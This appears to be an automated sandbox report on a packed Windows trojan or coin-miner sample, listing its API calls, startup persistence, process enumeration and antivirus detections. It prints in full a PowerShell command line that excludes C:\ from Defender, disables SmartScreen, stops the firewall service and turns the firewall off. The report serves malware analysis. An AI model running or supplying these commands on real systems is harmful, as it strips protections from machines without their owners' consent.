NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00133000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff000f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0003a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00181000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 27, 2021, 8:16 a.m.	process_identifier: 2864 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002017000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (1 event)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceExW Sept. 27, 2021, 8:16 a.m.	total_number_of_free_bytes: 10932932608 free_bytes_available: 10932932608 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0

Creates executable files on the filesystem (2 events)

file	C:\ProgramData\UpSys.exe
file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk

Creates a shortcut to an executable file (2 events)

file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk
file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

powershell.exe C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(exit)

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(exit)

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Sept. 27, 2021, 8:15 a.m.	show_type: 0 filepath_r: powershell.exe parameters: C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(exit) filepath: powershell.exe	1	1	0

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (42 events)

Time & API	Arguments	Status	Return
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: smss.exe process_identifier: 228	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: csrss.exe process_identifier: 308	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: wininit.exe process_identifier: 348	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: csrss.exe process_identifier: 368	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: winlogon.exe process_identifier: 412	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: services.exe process_identifier: 448	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: lsass.exe process_identifier: 464	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: lsm.exe process_identifier: 472	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: svchost.exe process_identifier: 584	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: svchost.exe process_identifier: 660	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: svchost.exe process_identifier: 736	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: svchost.exe process_identifier: 820	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: svchost.exe process_identifier: 852	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: audiodg.exe process_identifier: 912	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: svchost.exe process_identifier: 1004	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: svchost.exe process_identifier: 312	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: spoolsv.exe process_identifier: 1032	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: svchost.exe process_identifier: 1072	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: taskhost.exe process_identifier: 1140	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: dwm.exe process_identifier: 1204	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: explorer.exe process_identifier: 1236	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: svchost.exe process_identifier: 1432	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: IMEDICTUPDATE.EXE process_identifier: 1476	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: svchost.exe process_identifier: 1844	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: pw.exe process_identifier: 1996	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: SearchIndexer.exe process_identifier: 748	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: taskeng.exe process_identifier: 2932	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: WmiPrvSE.exe process_identifier: 2160	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: svchost.exe process_identifier: 2196	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: mobsync.exe process_identifier: 1684	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: pw.exe process_identifier: 904	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: taskhost.exe process_identifier: 2660	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: sppsvc.exe process_identifier: 2604	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: SearchProtocolHost.exe process_identifier: 1760	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: SearchFilterHost.exe process_identifier: 2496	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: Zenar.exe process_identifier: 1960	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: conhost.exe process_identifier: 2744	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: powershell.exe process_identifier: 2864	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000610 process_name: conhost.exe process_identifier: 2272	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000600 process_name: cmd.exe process_identifier: 2324	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000600 process_name: conhost.exe process_identifier: 2316	1	1
Process32NextW Sept. 27, 2021, 8:15 a.m.	snapshot_handle: 0x0000000000000600 process_name: pw.exe process_identifier: 2540	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00032000', u'virtual_address': u'0x00044000', u'entropy': 7.927956373568969, u'name': u'UPX1', u'virtual_size': u'0x00032000'}

entropy

7.92795637357

description

A section with a high entropy has been found

entropy

0.992555831266

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 27, 2021, 8:16 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

The executable is compressed using UPX (2 events)

section	UPX0				description	Section name indicates UPX
section	UPX1				description	Section name indicates UPX

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	powershell.exe C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(exit)
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(exit)
cmdline	"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off

Installs itself for autorun at Windows startup (1 event)

file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk

Operates on local firewall's policies and settings (3 events)

cmdline	powershell.exe C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(exit)
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(exit)
cmdline	"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off

File has been identified by 17 AntiVirus engines on VirusTotal as malicious (17 events)

Lionic	Trojan.Win32.Generic.4!c
FireEye	Generic.mg.844b7e033c078ed6
McAfee	Artemis!844B7E033C07
Sangfor	Trojan.Win32.Save.a
Cybereason	malicious.3b7264
ESET-NOD32	a variant of Win64/CoinMiner.AFD
APEX	Malicious
Paloalto	generic.ml
Kaspersky	UDS:DangerousObject.Multi.Generic
Avast	Win64:MalwareX-gen [Trj]
McAfee-GW-Edition	BehavesLike.Win64.Dropper.dc
Antiy-AVL	Trojan/Generic.ASBOL.C5E3
Microsoft	Trojan:Script/Phonzy.C!ml
Cynet	Malicious (score: 100)
Tencent	Win64.Trojan.Coinminer.Dyqd
SentinelOne	Static AI - Malicious PE
AVG	Win64:MalwareX-gen [Trj]

One or more non-whitelisted processes were created (1 event)

parent_process

powershell.exe

martian_process

"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Windows\System32\netsh.exe

Stops Windows services (1 event)

service

MpsSvc (regkey HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Start)

Zenar.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All